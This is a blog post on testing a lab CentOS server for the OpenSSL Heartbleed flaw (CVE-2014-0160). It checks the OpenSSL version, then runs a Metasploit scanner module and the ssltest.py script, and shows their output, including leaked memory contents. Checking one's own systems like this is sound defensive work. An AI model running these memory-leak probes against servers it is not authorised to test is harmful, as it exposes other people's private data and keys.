OpenSSL Heartbleed Vulnerability - How to tell if you are vulnerable

So it seems I chose the most interesting time to start a blog.
 
Currently at a SANS conference and the topic is obviously, the OpenSSL Heartbeat Vulnerability.

All my tests and validations have been done with tools which are freely available.

There are a couple of ways to detect if you are running the vulnerable OpenSSL software and or are vulnerable to this attack.

CVE-2014-0160 states "The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug. "

Let's test our OpenSSL version

In my lab, I have one computer running Kali and another running Cento6.5

connecting to the "lab-server" via SSH and verify the centos version
[root@lab-server ~]# cat /etc/centos-release
CentOS release 6.5 (Final)

verifying the version of OpenSSL
[root@lab-server ~]# openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013

Looks like the above OpenSSL Version is vulnerable. This version of OpenSSL is 1.0.1e which is before 1.0.1g

This time, let's try metasploit

Let's grab the metasploit module from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Let's configure metasploit

msf auxiliary(heartbleed) > set RHOSTS 10.0.0.51
RHOSTS => 10.0.0.51
msf auxiliary(heartbleed) > show options

Module options (auxiliary/multi/ssl/heartbleed):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   RHOSTS      10.0.0.51        yes       The target address range or CIDR identifier
   RPORT       443              yes       The target port
   STARTTLS    None             yes       Protocol to use with STARTTLS, None to avoid STARTTLS  (accepted: None, SMTP, IMAP, JABBER, POP3)
   THREADS     1                yes       The number of concurrent threads
   TLSVERSION  1.0              yes       TLS version to use (accepted: 1.0, 1.1, 1.2)

msf auxiliary(heartbleed) > run

[*] 10.0.0.51:443 - Sending Client Hello...
[*] 10.0.0.51:443 - Sending Heartbeat...
[*] 10.0.0.51:443 - Heartbeat response, checking if there is data leaked...
[+] 10.0.0.51:443 - Heartbeat response with leak
[*] 10.0.0.51:443 - Printable info leaked: @SF@oFH6s?f"!98532ED/A42#US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivesmlb:R0=
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Looks like much the same.

Ok. Let's see if the 3rd time will be the charm

Let's test this another way using a script which is available at "http://bit.ly/1ksnuLe"
This will be run against a Web Server running on my lab server.
Let's verify that my webserver is listening for HTTPS traffic

[root@lab-server httpd]# netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name  
tcp        0      0 :::80                       :::*                        LISTEN      2865/httpd         
tcp        0      0 :::443                      :::*                        LISTEN      2865/httpd     
Looks good!

running the ssltest.py script
root@security-nik:/# ./ssltest.py 10.0.0.51 -p 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 845
 ... received message: type = 22, ver = 0302, length = 397
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
 ...................... REST OF DATA OMITTED FOR BREVITY ........................

WARNING: server returned more data than it should - server is vulnerable!

As can be seen the server is reporting it is vulnerable once again


After 3 tests using different tools, I think it would be safe to say my lab-server is vulnerable.

SourceFire have release updated rules to identify this attack. In another post I will evaluate the rules against an attack



Reference
SANS Webcast by MalwareJake
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
http://vrt-blog.snort.org/2014/04/heartbleed-memory-disclosure-upgrade.html